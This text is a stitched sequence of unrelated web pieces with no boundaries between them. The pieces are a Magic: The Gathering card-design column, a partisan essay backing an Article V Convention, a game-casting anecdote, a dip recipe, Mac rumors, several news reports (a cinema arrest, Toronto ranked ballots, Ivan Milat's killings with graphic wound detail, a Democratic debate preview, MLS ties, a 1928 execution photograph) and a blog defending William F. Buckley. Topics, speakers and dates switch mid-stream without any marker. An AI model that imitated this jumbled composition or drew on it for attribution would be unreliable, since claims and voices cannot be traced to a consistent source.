Some subset will always get it and to them it will bond them with the game. When you run across a joke that you know a few people will get, it makes you feel good. You're part of an elite club. The aesthetics will shine through even if the players aren't conscious about it. You see, aesthetics are important not because of the direct impact but the indirect one. Cards that are aesthetic just feel pleasing even if the observer doesn't understand why. If the card plays well, doesn't draw attention to itself, and isn't an issue for the creative team, then why not add in an extra layer?
I love my job. I love my family. Both require a lot of my time and attention. As such, I'm often burning the candle at both ends. One of the side effects of this is I've been known to fall asleep in a meeting or two. I bring this up because the story of this card's design starts in a Dragon's Maze design meeting. The team was trying to fill a hole and needed a multicolor Izzet creature, it they spent some time brainstorming. At least, that's what the team told me later. You see, I had fallen asleep. Several minutes into the brainstorm, I woke myself up. It was obvious the team was trying to make a card. I asked what it was looking for. My response a few seconds later was this card.
I'll let you in on a not-so-little secret. I love good top-down designs. I say "good" because truly special top-down designs are a rare commodity. The key is to find a mix of mechanics that hasn't been done before but also perfectly captures the essence of the card's flavor. Hired Torturer is one of these perfect flowers where everything just came together. As such, this is my favorite card in the set.
This is also one of my favorite cards in the set. Why? Two reasons. One is a designer reason and the other is a player reason. The designer reason is that I really enjoy the feel it gives to Simic. Simic is a mad scientist guild, but we seldom get to see them being mad scientists. Sure, we see the aftereffects of what they've created but we don't get a lot of chance to see them in the workshop. At least, we don't get to from any mechanical sense. Krasis Incubation solves this problem by being a top-down design of the experimentation.
My player love for this card comes from an earlier love I had many years ago.
Once upon a time, I had a little green-blue weenie beatdown deck. The key of the deck was that I got out a few creatures quickly and hit you for 20 within a few turns. To help this along, I really needed a cheap answer to blockers and at first glance I thought Cocoon was my answer. Sure, it made my opponents' creatures better but not for three turns, and by then they should be dead.
I quickly learned my error (you can only enchant creatures you control) but I kept playing with the card because it was fun. Whenever I see a card like Krasis Incubation, I'm always taken back to Cocoon. The biggest difference between Cocoon and Krasis Incubation is Krasis Incubation is both faster and more under your control. I know I'm happy to see it every time I play Simic.
Ever since this card was previewed I keep getting the same question: why isn't this land legendary? There are two answers to this question:
We really don't do legendary lands any more: For starters, the game play of a legendary land isn't great. You need to put four copies in your deck to make sure you draw it early (it's land, after all) but you can't play the others. And then all the other copies turn into Strip Mine (a card infamous for being fun-sucking). It's also easy to get two in play without realizing it because they sit with the lands, which aren't as scrutinized. It's a mess, so other than very rare exceptions (Eye of Ugin, I'm ironically looking at you), we don't use them. The creative doesn't really need them to be legendary: Lands don't actually represent lands in the game, but rather they represent links to the mana found within the land. Any one particular place can be tapped multiple times for mana. You may not be able to have two copies of the same character but you can have multiple mana taps of the same place.
If we made an exception to Eye of Ugin, why not make one here? Because with the Eye of Ugin, we only wanted you to have one in play at a time, so we were able to use the legendary supertype as much for a mechanical restriction as we were using it for flavor. Maze's End didn't have this issue. We were fine with you having four in play.
Back when grind (the mechanic where you mill cards from the top of the library until you hit a land card) was the Dimir mechanic in Gatecrash, the design team discussed whether we wanted grind to have a number. To demonstrate why we might want to, we made a saboteur that was "grind 3." If memory serves, that creature didn't have flying.
When the Dimir mechanic shifted from grind to cipher, we had too many grind cards, so this one got pushed off. The Dragon's Maze team decided to make it the Dimir champion so it upped the grind from three to four and added flying.
Let me answer the question on everyone's mind. Is this Mana Drain?
Basically, yes. Technically, Mana Drain only created colorless mana, but that's splitting hairs. Plasm Capture came about because over the years we've talked about what Mana Drain should cost and what colors it should be. The counterspell ability was obviously blue but the mana generation felt either green or red. When you put the two abilities together, though, it just felt better as green-blue than blue-red.
Anyway, we were having this discussion for the umpteenth time during a Dragon's Maze design meeting and just decided to end the argument once and for all. What should Mana Drain cost? .
Ah, Ral Zarek. Now, either you've been waiting for him with bated breath or you have no idea who he is. Let me explain for those of you in the latter camp. Several years ago, we were making the latest Duels of the Planeswalkers when the creative team came to a realization: we didn't have enough Planeswalkers. More accurately, we didn't have any Planeswalkers who fit two of the decks they wanted to have in the game.
None of the existing Planeswalkers made sense with either of the decks, so the decision was made to just design some new ones. If they proved to be popular, we could always find room for them in a set. Well, it didn't take long for us to start getting request to see Ral Zarek and Kiora on cards. We knew going in that if it was decided we wanted to bring them to the game, we needed to find the right spots. We were going to use them if they fit, not force them in.
It turns out Ral Zarek is natively from Ravnica and a member of the Izzet guild, so his inclusion in the block was a pretty no-brainer. The one big question was what set did he belong in—Return to Ravnica or Dragon's Maze? (It was felt that having an Izzet-affiliated Planeswalker in Gatecrash, the set with no Izzet cards, would be weird.) After some discussion, we decided that we wanted Jace in Return to Ravnica. So as to have a known Planeswalker as the "face" for Dragon's Maze, we would save Ral for the third set. I hope you all enjoy finally getting to play with him.
And what of Kiora? She'll be around eventually, once we find the correct place to put her.
Some of my favorite designs come about because we were trying to solve one problem and ended up solving others as well. Case in point: Species Gorger was made as an evolve enabler. The idea was simple. How can you help evolve creatures evolve more? Have more large creatures enter the battlefield. How do you do that? One way is to put them back into your hand so you can cast them again.
The next trick is to turn the unsummoning of your creature into a cost for getting a better-than-average creature. All you have to do is turn that negative into a positive as a deck builder and there's fun aplenty. I love that players are able to do things like reset unleash creatures or allow a creature with an enter-the-battlefield ability (such as detain) to repeat its effect. This becomes especially important as the Limited environment shifts to three-color decks.
Wait, isn't this Armadillo Cloak from Invasion?
The lifelink-like ability is now just lifelink, but essentially, yes. Why didn't we just reprint Armadillo Cloak? Because the creative team has never been happy with the flavor of Armadillo Cloak. It was done by a different creative team many years ago, back when we tended to get a little sillier from time to time. R&D really wanted to bring back the card mechanically, so the creative team re-concepted and renamed the card.
Early in Gatecrash design, I tried this thing where each guild got an iconic reprint. The choice for Boros was obvious—Lightning Helix. But, eventually, we made Firemane Avenger (basically battalion with a built-in Lightning Helix) and we decided that was cooler than doing Lighting Helix for a second time.
Then in Dragon's Maze, Lightning Helix was tried again. There were a few too many reprints so the card was tweaked and Lightning Helix became Warleader's Helix.
That's all the time I have for today. As always, I would love to hear your feedback on some of the cards I talked about today. Feel free to email me, drop a note in this thread or contact me on social media (Twitter, Tumblr, and Google+).
Join me next week when I explore a different aspect of Dragon's Maze.
Until then, may the magical cards bring you many stories as well.
Drive to Work #30—Lessons I've Learned, Part 1
In a recent article, I wondered what Americans could do to unite such a divided country and opined the reclamation of our freedom as what should join us.
With a distant and corrupt government, people feel like they can’t possibly make a difference. I hear it all the time.
But a patriot has emerged from the South Carolina State House who, on behalf of his fellow Americans, isn’t going to take it anymore.
What you are about to see could be...
A New Revolution
A growing initiative championed by State Representative Bill Taylor (R-SC) that would bring decision-making closer to the people and away from an out of control federal government is gaining steam.
Rep. Taylor is encouraging state lawmakers from around the country to introduce legislation to establish a national Article V Convention — referring to the Fifth Article of the Constitution.
South Carolina was the first to call for the Article V Convention, and Virginia and Florida soon followed. According to The Convention of States Project, an organization run by Citizens for Self Governance, several other lawmakers will be introducing similar legislation in their states within the next few weeks.
Under Article V, if two-thirds of the states pass legislation allowing them to submit an application to Congress to establish a Convention of States, Congress is forced to comply to make arrangements for the meeting.
Each state would have a delegate at the convention to debate and discuss the creation of specific Constitutional Amendments, and each would be allowed one vote. The terms of powers afforded to each delegate at the convention will be determined by individual states.
Any proposed amendments must then be approved by three-fourths of the states, meaning 38 states would have to vote in favor in order for ratification of the Constitution to occur.
Said Taylor, “Fortunately, our Founders knew the federal government might one day become too large and too powerful and they specifically inserted a mechanism that gives states a lawful and orderly mechanism to restrain a runaway federal government; it’s Article V of the Constitution."
He also pointed out that the “federal government is the child of the states” and not the other way around; but “states don’t have a voice anymore.”
Although Rep. Taylor is the first to introduce legislation regarding the establishment of the Article V Convention, there is plenty of support from other bold Americans...
Remember the Constitution?
Indiana Senate Leader David Long and Wisconsin State Representative Chris Kapenga recently called for a bipartisan meeting of lawmakers from across the country to discuss a possible Convention of States.
The meeting was held at George Washington’s home of Mount Vernon. Nearly 100 lawmakers from 32 states attended the meeting, where they reportedly discussed possible amendments concerning issues such as term limits, the budget, and taxation.
Political commentator Mark Levin has also penned a book about this movement called The Liberty Amendments, which was a New York Times Best Seller. The book has sparked national attention to reining in the government through the Constitution.
The thought of bypassing the government is a decadent one, especially because of the arrogance on display in Washington. The Constitution’s Article V is a fail-safe provided by our Founding Fathers, who understood how power can corrode the soul and lead to tyranny.
It’s no wonder Gallup just released a 9% approval rating for Congress — the lowest in 39 years. It appears the right and moderate left alike are exasperated with Obama and both the House and Senate. They are tired of judicial activism and the government’s attempts to commandeer states’ rights.
Amendments would take away the ability of politicians to play mind games with people, exaggerating the consequences of controlling the budget.
Basically, if the federal government can’t get it done, the citizens can.
Here are some ideas I would offer on possible amendments:
No More Manipulation
Require a balanced budget: We have $17 trillion in debt, and some, such as Nancy Pelosi, want to increase it even further. They always resort to emotional blackmail when fiscal conservatives want to slow spending, painting them as people taking food out of the mouths of babes. No more manipulation of the facts — let’s just be responsible with our federal finances.
Term limits for elected officials: They will never get passed through the traditional legislative process. It’s like the fox guarding the hen house.
Limiting power and jurisdiction of the federal government: The federal government was created to serve the states, not to sue them when the president in power doesn’t like voter-passed laws. This is the case with North Carolina right now, which is being sued by the Department of Justice over a voter identification law.
Limiting taxation: Taxes will never get lowered because money is power, and your money is necessary for vote-buying in the form of appropriations for pet district projects and entitlements.
Term limits for the Supreme Court: If you get a radical in the Supreme Court, it puts our Constitution at risk for manipulation and distortion. No judge should be in power for life.
A Common Quest for Freedom
The only peaceful solution we have left is to accept the gift from the framers of our Constitution to bypass a dysfunctional government filled with nefarious lawmakers and federal workers.
There were honest intentions in 1994 during the GOP Revolution, when Republicans were going to right the wrongs after 40 years of socialist initiatives by the liberals. I was there. It was a time of real hope.
However, my party no longer feels like home, as the two sides of the aisle have started to converge.
Recently, Cato Institute’s Director of Health Policy Studies, Michael Cannon, served as a witness at a congressional hearing to address President Obama’s disregard for the Constitution in his dictator-like actions regarding the Affordable Health Care Act:
There is one last thing to which the people can resort if the government does not respect the restraints that the Constitution places on the government. Abraham Lincoln talked about our right to alter our government or our revolutionary right to overthrow it. That is certainly something that no one wants to contemplate. If the people come to believe that the government is no longer constrained by the laws then they will conclude that neither are they... That is a very dangerous sort of thing for the president to do, to wantonly ignore the laws, to try to impose obligation upon people that the legislature did not approve.
In order for this country to survive, we must have the same mindset, dedication, and loyalty to our cause as those from years past. It’s that dire.
We must love this country enough to put aside our differences for our common quest for freedom.
The success of this movement is possible because it’s one with no political affiliation.
As Rep. Taylor said, “This isn’t a blue or red movement, it’s a red, white and blue movement.”
It’s true. The ring of freedom beckons for all three colors... if we would only listen.
Voice your values...
“Terry Crews basically asked us, ‘can I be in the game?’ And we were like, ‘yeah, you can totally be in the game,'” Design Director Gareth Wilson said. “‘Cause the guy, he’s alive, he’s a living agent. He looks like an agent, which is crazy.”
Sumo even went as far as to make an actual agency suit for the popular actor. It features in the live footage shown at Microsoft’s E3 press conference.
“When we did that live footage, we got an agency suit made for him,” Wilson continued. “He gave his dimensions to the guys that were making it, and they were like sitting in the back going, ‘no, there must be some mistake with this.’
“I was like, ‘no, these are totally his dimensions.’ So, he put the stuff on, and then when he was doing all his things and flexing his muscles, all this kept popping off. Like, little bits kept coming off so we were sticking it on, with like masking tape and glue and stuff. We managed to get through the recording,” Wilson said with a laugh. “But yeah, the guy’s a beast.”
Wilson also confirmed that Crews was meant to be an NPC that helped to drive the narrative, but was shifted to a playable character simply because the actor asked to be.
“We were originally going to use him as kind of part of the narrative and the storyline, and then he came back to us and he was like, ‘could you make me like, a playable guy?’ And we were like, ‘We can totally do that.'”
Crews has also been quite vocal about voicing Doomfist in Blizzard’s Overwatch, though he’s yet to officially get the part.
YOU NEED
1 x 400 gram can of Cannellini beans, washed well and drained
1 tablespoon of finely chopped fresh rosemary leaves
1 tablespoon of fresh lemon juice
2 tablespoons of olive oil (I use a cold pressed olive oil)
½ teaspoon of salt
2 cloves of roasted garlic
1 extra tablespoon of chopped fresh rosemary leaves
YOU DO
Blend all the ingredients except for the extra tablespoon of rosemary leaves.
Once the ingredients are all well blended and smooth, stir the extra rosemary through the mixture and serve.
If you wish you can pour a little extra olive oil over the top when you serve it.
Serves: Makes about 1 cup of dip
Time: Seriously takes about 5 minutes
Freeze: I wouldn’t
I am actually in the market for a new iMac and would gladly file an order for one today.
Earlier reports about the new iMac 2010 and Mac Pro 2010 have talked about an end of Summer release. Not many details about what actually will be updated in the new iMac and Mac Pro besides new CPUs and possibly USB 3.0.
Besides a new iMac and Mac Pro, there is also talk about a new 27-inch Cinema Display and the mysterious Magic Trackpad.
New Mac hardware definitely will take over the news and silent the iPhone 4 antenna discussions for a while.
Check the Apple Store for updates here.
Update:
Moviegoers at a cinema in Sinaloa, Mexico, called police after noticing a woman masturbating during the movie.
The unmarried 33-year-old had managed to secure herself a prime seat in the twelfth row of the theater to watch the blockbuster.
Scroll down for video
A woman, 33, watching 50 Shades of Grey at a movie theater in Sinaloa, Mexico got taken out in handcuffs
The unmarried woman was masturbating in a seat in the twelfth row of the theater during the blockbuster
Based on the best-selling novel by E.L. James, the movie stars Dakota Johnson (left) and Jamie Dornan (right)
The woman had gone to see the film two days after its release on Valentine's Day, La Verdad reported.
Police arrived at the cinema and arrested the woman for public indecency.
Handcuffs were snapped on her wrists and she was removed from the premises.
Although the woman might disagree, the film has received mixed reviews from critics.
Based on the best-selling novel by E.L. James, the movie stars Dakota Johnson and Jamie Dornan.
in the film, which is known for its S&M content, student Anastasia Steele's (Johnson) life changes when she meets handsome billionaire Christian Grey (Dorman) and they begin a relationship.
The film, which dominated at the box office last weekend with $81.7million in ticket sales, grossed $23.2 million this weekend, USA TODAY reported.
Paul Dergarabedian of ticket-sales firm Rentrak said: 'The film is now over $400 million worldwide.
The current city council reversed a decision by the previous one to ask the province to allow ranked ballots in the next municipal election. Of those who returned after last fall's election, seven flipped their votes. Critics say the current system unfairly advantages incumbents who may win even with a majority of votes against them. ( City of Toronto ) There was no chance for public input before rookie Councillor Justin Di Ciano proposed that Toronto reverse its stand on ranked balloting on Thursday. ( David Cooper / Toronto Star )
Two years ago, he noted, councillors had seen Torontonians give presentations and submit written input at two committees before they voted 26-15 to ask the province to let the city use a system whereby voters rank candidates in order of preference, and nobody wins without support from more than half of voters. This time, there was no chance for public input before rookie Councillor Justin Di Ciano proposed that Toronto reverse its stand. The motion, part of debate on proposed changes to the City of Toronto Act, passed 25-18, with the support of seven councillors who reversed their earlier support for ranked ballots. “It was out of the blue, and there was no chance for any consultation whatsoever,” Meslin said.
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“There’s no doubt that self-preservation is a motivation for a lot of councillors to not support ranked ballots... There’s a lot of unpopular councillors who are winning their seats because of the current system where the majority of their constituents are voting against them.” Under ranked ballots, a candidate with a majority of first-place votes — 50 per cent plus one — wins, just as in the current system. If nobody meets that threshold, the candidate with the fewest first-place votes is knocked out. The second-place choices of that candidate’s supporters are added to the totals of the remaining hopefuls, and so on, until somebody has a majority. “The way it happened was entirely undemocratic; it really feels underhanded,” said Katherine Skene, of Ranked Ballot Initiative. “But we’re hopeful that there is still the possibility for change.” In an interview, Di Ciano rejected the criticism, saying his motion just reflected the views of a duly elected city council that had not yet had its say on ranked ballots. He proposed the motion, he said, because city staff who canvassed councillors for a committee told him most councillors are no longer keen on a major shakeup.
“My understanding is this whole initiative was brought forward because we’ve got problems in this city, we’re not happy with the performance of our government,” Di Ciano said. “That has nothing to do with who is in the (council) chairs.” In fact, he argued that ranked ballots would boost incumbents’ re-election chances. “You’re going to vote for your friend, and you’ve got to put a second choice and the name you know is the (sitting) councillor,” he said.
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Following Milat's conviction in 1996 for the murder of seven backpackers, police reconsidered dozens of unsolved murder cases to see whether the victims could have been slain by Milat.
But former NSW Police assistant commissioner Clive Small has revised down the potential cases to just one, whose style of killing, burial - and the date of his death - make him a certain victim of Milat's killing spree.
"There was a pattern to the Ivan's killing that had to do with his personal circumstances," Mr Small told news.com.au.
"When he killed he was by himself, or he wasn't in full control of his relationship, or it was falling apart or it had ended.
"With Ivan it was all about control and when Peter Letcher was murdered Ivan had broken up with his partner.
"The other murders [that have been attributed to Ivan] don't fit the pattern."
It was on a Friday in November 1987 that Mr Letcher found himself flat broke and in need of a lift to Bathurst from Sydney.
An unemployed sawmiller, he had travelled to Sydney to propose to his 15-year-old girlfriend, who told him she was too young to get married.
Mr Letcher, one of four children, had lost touch with his family and had not lived at home for the two years before his murder, after losing his job at a timber mill.
"He was as good as gold before he lost his job but he had been a bit of a wayward person after that," his mother, Ann Letcher later said.
He was last seen alive on November 13, when he left Busby in south-western Sydney, saying he intended hitchhiking back home.
Mr Letcher never made it home.
Around the same time, Milat was working for the Department of Main Roads (DMR) as a surface sprayer.
Milat had been charged, but acquitted, of the rape of two young female hitchhikers he picked up near Liverpool railway station in south-western Sydney in 1971.
When that occurred, Mr Small said, Milat was not in a relationship.
He subsequently married a young woman, Karen Duck, but in 1987 the relationship was falling apart.
He had a growing obsession with guns which frightened Ms Duck, and an armoury which included large knives, a pistol, a revolver and a Ruger 10/22 rifle.
He took her on four tours of the remote Belnaglo Forest and once to the Jenolan State Forest, to see a dirt track and a pine plantation.
Ms Duck decided to leave her marriage with Milat, setting off, Mr Small says, the same emotional circumstances which triggered all his killings.
In the days before Mr Letcher disappeared, Milat was working for the DMR in the Jenolan State Forest area, 160kms west of Sydney, and living in south-western Sydney.
On January 21, 1988, two bushwalkers came across Mr Letcher's remains, 15m off a forest trail in a clear-felled section of forest about 20km from the tourist attraction, the Jenolan Caves.
His body was lying face down in a shallow ditch, covered in branches and leaf litter.
He was clad only in jeans, football socks and running shoes.
Nearby lay his shirt and jumper, which were riddled with bullet holes.
The body was badly decomposed and it was only after forensic tests that police discovered the bullet wounds to his head.
Investigating detectives concluded Mr Letcher had been bound and blindfolded, stabbed multiple times in the back and shot five times in the head with a .22 calibre weapon.
A whisky bottle was found at the scene.
Mr Letcher's murder happened two years before the first known backpacker murders were to occur, of Melbourne teenagers, Deborah Everist and James Gibson, who died from multiple stab wounds in December, 1989.
Twenty-six days after their disappearance, British hitchhiker, Paul Onions, escaped from the vehicle of a gun-wielding man on the Hume Highway, 800m north of the Belanglo Forest turn-off.
Milat's other victims were:
• German Simone Schmidl, 20, who disappeared in January 1991, who died from multiple stab wounds, including a knife through her spinal cord.
• Britons Caroline Clarke, 21, who was shot 10 times as if she was target practice and Joanne Walters, who was stabbed.
• German former soldier, Gabor Neugebauer, 21, who was gagged and shot six times and his 20-year-old girlfriend, Anja Habschied, who was decapitated and her spinal cord severed.
Forensic psychiatrist Dr Rod Milton concluded the backpacker killer took great enjoyment out of the killing scene and arranged his victims' bodies like "babes in the wood".
Beer bottles and cigarette butts were found near some of the burial sites and the bodies were placed in shallow graves and covered with branches and leaves.
"After his wife left him, Ivan went off the rails," Mr Small said.
Milat has been named as a suspect in the murders of Sydney nurses Gillian Jamieson and Deborah Balkan, both 20, who disappeared from a Parramatta Hotel in 1980, and many other cases.
"But it's the Peter Letcher case that fits Ivan," Mr Small said.
Police made a search of the area where Mr Letcher's remains were found following Milat's conviction on the backpacker murders, but at the time could find no evidence of any further killings.
Security will be tight, and CBS News, which is broadcasting the debate, said it will start with a discussion of the attacks, which are believed to have been the work of the Islamic State of Iraq and Syria (ISIS), but will include other topics as well.
“It caused us to refocus some of the questions on what happened in Paris and the threat of terrorism and how the candidates would respond to that threat if they were president,” said Christopher Isham, the Washington bureau chief of CBS News. ”We will continue to ask about other topics. This is not going to become a foreign policy debate.”
Sanders and O’Malley have both been telegraphing much sharper attacks against frontrunner Hillary Clinton in an effort to blunt her momentum, and feel they can forge ahead with their original plan, despite a potential risk of looking overly political during a time of mourning.
Still, even her rivals say the new issue terrain favors Clinton, the former secretary of state who has advocated a more muscular foreign policy. ”I think everybody realizes that Hillary Clinton’s experience as secretary of state gives her a lot of standing,” Sanders senior strategist Tad Devine acknowledged to MSNBC, conceding she has “a huge advantage” on these issues.
Democrat strategist Chris Kofinis conducted a focus group Friday night in Iowa with 31 Democratic voters and found that Clinton ”is nearly unanimously viewed as a stronger commander-in-chief.” He added that “Sanders was extremely vulnerable on this issue before Paris, and this is even truer now.”
Still, Devine said of the new focus on terrorism, “I don’t think it changes the strategy at all,” adding, “One thing you don’t want to do is move away from a message if you believe you’ve got the wining message.”
O’Malley and Sanders are both likely to stay on course with plans to point out sharp differences with Clinton. O’Malley sees a chance to demonstrate leadership and surprise observers who hold rock-bottom expectations. Sanders, meanwhile, sees an opportunity to share with voters his views on an issue he rarely discusses. Other important issues should not be ignored or put on hold, they say, and the CBS moderates seem inclined to agree.
The debate was already going to be a quieter affair than the first face-off last month amid the bright lights of the Las Vegas strip. In addition to a simpler setting on the campus of Drake University, the event was scheduled for 9 p.m. ET on a Saturday, when fewer people are likely to watch. Meanwhile, the field has winnowed and Clinton, the front-runner, has re-solidified her lead.
Nonetheless, the debate will carry outsize importance here in Iowa, the state that holds the first presidential nominating contest and is critical to all three of the candidates’ strategy to win the nomination.
National Security and terrorism
On Friday, terrorism went from almost a non-issue in the Democratic primary to the most important one, at least for Saturday’s debate. According to the latest NBC News/Wall Street Journal poll, just 2% of Democratic primary voters said that terrorism was their top concern, while another 4% picked foreign policy and the Middle East.
Instead, the primary has focused on issues like economic inequality, racial justice and college affordability. Sanders has long been a critic of U.S. foreign policy, but he has little direct experience on the issue and does not serve on any Senate committees that deal with defense or foreign policy. Just last week, he voted against a defense authorization bill, saying it spent too much money and did not crack down on fraud.
Governors like O’Malley are generally considered to have a disadvantage on foreign policy, since they don’t have to deal with it. Clinton, meanwhile, has been the nation’s top diplomat, and has served on the Senate Armed Services Committee.
Low bar for Clinton
The stakes for Clinton were already dramatically different from the first debate. Then, Clinton was coming off a brutal month and was untested in the crucible of a recent presidential debate. But she turned in a commanding performance, in which she showed that she can land a punch on her fellow Democrats, and was almost universally considered the winner. Now, with her polls back up and her lead more secure than ever, a steady, mistake-free outing will do just fine.
Awkward offense
For Sanders and O’Malley, the picture could not be more different. Recent polls suggest Sanders’ momentum may have stalled, while O’Malley’s campaign is running out of money and is still stuck in the single digits in most polls.
To change this, both candidates have been drawing ever sharper contrasts with Clinton, and, until Friday night, looked ready to swing harder and more frequently in the second debate. But now, in a moment of tragedy, attacking Clinton too harshly could backfire.
Immigration
Immigration has been a minor issue in the Democratic primary so far, but it was lining up to be at the forefront of Saturday’s debate. O’Malley and Sanders attended a Latino event in Las Vegas this week where the former attacked his two rivals and Sanders rolled out an immigration plan.
Local issues
The debate in Las Vegas attracted more national attention than Saturday’s in Iowa is likely to. So campaigns for each of the candidates suggest there will be a greater focus on local Iowa issues, such as knocks on Republican Gov. Terry Branstad.
The debate about debates
The Democratic debate schedule has been extremely controversial, but this is the first time it’s really been put to the test with a weekend debate. Saturday debates are highly unusual, since fewer people watch TV on weekends.
Supporters of Sanders and O’Malley accused Democratic National Committee Chair Debbie Wasserman Schultz of shunting the debates to weekends to limit the potential impact on Clinton, whose 2008 presidential campaign Wasserman Schultz helped lead.
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And, a record 25 of the league’s 238 matches have ended 0-0 this season. MLS officials are aware of the spike in draws for 2011 and they are monitoring to see if it’s a trend, an anomaly “or something that maybe should be addressed,” league spokesman Will Kuhns told the Star. Commissioner Don Garber publicly admitted last month that there are “way too many” ties and goalless games for his taste. He mused aloud to The Star-Ledger of New Jersey about looking at ways “to make it more valuable for a club to play to win every game as opposed to playing for just a point.”
Kuhns said there are no plans for rule changes related to the issue for 2012. It also appears clear there will be no rush to reinstitute the shootout, which was in place for the first four seasons of MLS, from 1996 through 1999. Widely mocked as a tiebreaker, it saw players given five seconds to dribble in from 35 yards and attempt to beat a hard-charging goalkeeper. That concept was born of a belief that North American soccer fans want a winner and loser each night, just like their cousins cheering other sports. But Garber, appointed in mid-season in 1999 and determined to bring his league more in line with international standards, axed the shootout. Penalty kicks are still used to decide playoff games that are tied after regulation and extra time, as around the globe, including World Cup elimination matches.
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With Tennessee Senators voting Wednesday to reinstate the electric chair to execute capital inmates, TIME looks at the first known photograph of this controversial form of capital punishment.
In 1925, Ruth Snyder, a housewife from Queens, New York, took a lover, Judd Gray, a corsetmaker from upstate. Already married to Albert Snyder, an arts editor at MotorBoating magazine, she hid the affair for nearly three years. But on March 12, 1927, she and Gray planned a murder. After taking out a forged insurance policy, the two killed Ruth’s husband and staged a burglary scene. It didn't take long for law enforcement to connect the dots, and a few months later, Gray and Snyder found themselves charged with first degree murder.
The court case was front page news and both Ruth and Judd found themselves constantly photographed for ever-evolving stories. Sing Sing, not one to change policy for press, reinstated that no photographers were to be present at the execution. But the public wanted to see.
The New York Daily News knew that the prison was familiar with many journalists from their staff, so they hired someone from out of town, Tom Howard, a then-unknown local photographer from the Chicago Tribune . Knowing he would never be allowed in with a camera, Howard strapped a single-use camera to his right ankle and wired a trigger release up his pant leg. Remarkably, he was allowed in. From across the room, Howard pointed his toe at the chair and took but one photo as Snyder took her last breaths.
The camera was rushed to the city and the film developed overnight. Editors and writers marveled at what was to be one of the most shocking photographs ever made: Snyder in the chair, the legs of the prison guard to the right. The image, shot on an angle, was cropped and published immediately with the headline: Dead!
NY Daily News Archive—Getty Images
The black-and-white image was shocking to the U.S. and international public alike. There sat a 32-year-old wife and mother, killed for killing. Her blurred figured seemed to evoke her struggle, as one can imagine her last, strained breaths. Never before had the press been able to attain such a startling image—one not made in a faraway war, one not taken of the aftermath of a crime scene, but one capturing the very moment between life and death here at home.
Tom Howard received a $100 bonus for taking the photo. For decades after, anyone attending an execution had to lift their pant legs for camera checks.
To this day, photographers are not allowed into executions. Many newspapers and online news sources still publish the frame before and after death, but rarely, if ever do we see the moment of death. Ruth Snyder’s last words, borrowed from the Crucifixion: "Father, forgive them. They know not what they do."
– William F. Buckley Jr., Up From Liberalism (1959)
Never trust anyone who speaks ill of their own parents. Probably everyone goes through that adolescent phase of thinking their parents are idiots, but mature reflection — when we understand the difficulties of adult life, and have become parents ourselves — ought to temper our judgment, and curb any temptation to criticize our elders. Furthermore, people who malign their own parents are in essence testifying against themselves. “The nut doesn’t fall far from the tree,” after all, and if your parents were such awful people, what should we expect from you?
In 2009, Christopher Buckley published in the New York Times some anecdotes about his late father, William F. Buckley Jr., that were not entirely flattering. Among other things, Buckley the Younger accused his father of hogging the TV remote and changing channels at a whim. “If it were so, it was a grievous fault. And grievously hath Caesar answered it.”
Now, I rise to speak in defense of William F. Buckley Jr. not only because I might also be guilty of hogging the remote — “my remote,” as I call it — nor even to remind my own children of their duty of filial piety, although these are certainly important considerations. God forbid that, after I’m mouldering in the grave, any of my numerous progeny should think to profit by badmouthing me in print, as Christopher Buckley has done to his deceased father. Oh, sure, perhaps it wasn’t malice that inspired Buckley the Younger to tell these tales about the Old Man, but great reputations can be undermined as much by carelessness as by spite, because who knows what use a man’s enemies might make of the discovery that, e.g., the deceased Great Man hogged the TV remote?
To see how this works, examine “William F Buckley — A Case Study In Narcissistic Personality Disorder” by The Anonymous Conservative, who makes of Buckley’s remote-hogging a symptom of psychiatric illness and/or bad character. It would perhaps suffice to discredit this claim to point out that the anonymous author uses the phrase “the Cuckservative Establishment,” and asserts:
Conservatism is merely an expression of the K-selected psychology. It is invigorated by the disasters produced by liberalism, as the horrors liberals cultivate have their effects on the minds of the populace. Nobody can create it through positivity, any more than you can create a high tide with a water pump. You can massage things at the edges, humiliate a liberal here and there, even hold the line on one issue or another with subtle threats of force in places, as with guns, but in the grander scheme, r and K are like the tides.
What fresh Hell is this? For those unfamiliar with the subject of population demographics, let me offer this brief bit from Wikipedia:
In ecology, r/K selection theory relates to the selection of combinations of traits in an organism that trade off between quantity and quality of offspring. The focus upon either increased quantity of offspring at the expense of individual parental investment in r-strategists, or reduced quantity of offspring with a corresponding increased parental investment in K-strategists, varies widely, seemingly to promote success in particular environments.
The terminology of r/K-selection was coined by the ecologists Robert MacArthur and E. O. Wilson based on their work on island biogeography; although the concept of the evolution of life history strategies has a longer history.
E.O. Wilson and “sociobiology” have exercised an influence among certain secular (or as they would call themselves, “scientific”) conservatives, who wish to marshal Darwinism in support of various ideas that liberals generally dismiss as falling into the category of “racism.” My own experience of being hate-listed by the SPLC for daring to treat these subjects as worthy of inquiry should suffice to prove that I am no “Establishment cuckservative” fearful of liberal disapproval, nor am I prone to retreat from any defensible truth. However, I am also skeptical of speculative theory, which is what Darwinism is, as it goes beyond the facts of nature to imagine a remote past in which random accidents accumulated into “progress” that led pond scum to become something more than pond scum. At any rate, while “r/K selection theory” might be a useful tool with which to explain various natural phenomena, I hesitate to endorse how The Anonymous Conservative has taken the ball and run with it as “The Evolutionary Psychology Behind Politics”:
As the images flowed through my brain, I saw one side, brave, strong, and honorable, the other, groveling, weak, and pathetic. The presence of one side enhanced the fitness of the population, while the persistence of the other deteriorated it. One was genuinely good and created magnificence, and one was not. The daring and the cowards. The patriots and the traitors. The Warrior and the Hippie. The Capitalist and the Communist. The stoic NRA member, and the easily frightened and insecure anti-gun pussy. The Marine, and the Womyn’s studies major at UC Berkeley. Republicans and Democrats, Conservatives and Liberals. Complexity in adaptation and a devolved simplistic fecundity. Evolution and Devolution. The production of a great society, and the decline into chaos of a collapsing society. It all made sense. I thought back to the microbes, and the conditions which produced them, thought of r/K theory, and all of this was borne in my mind.
As I say, fear of liberal disapproval plays no part in my work, and insofar as this application of “r/K” actually contains truth, I would defend it. Yet employing this as a pretext to attack the reputation of the late William F. Buckley Jr. leads to rather bizarre claims:
People like Buckley only slow the ascent of conservatism, by trying to demonize the leading edge of the movement on behalf of their mentally damaged fellow travelers on the left. Driven by the urge to assuage their own fears of not being in control of the flow of events, they are seeking one thing. If they are not in control, someone else must be, and that someone else must be the smart person.
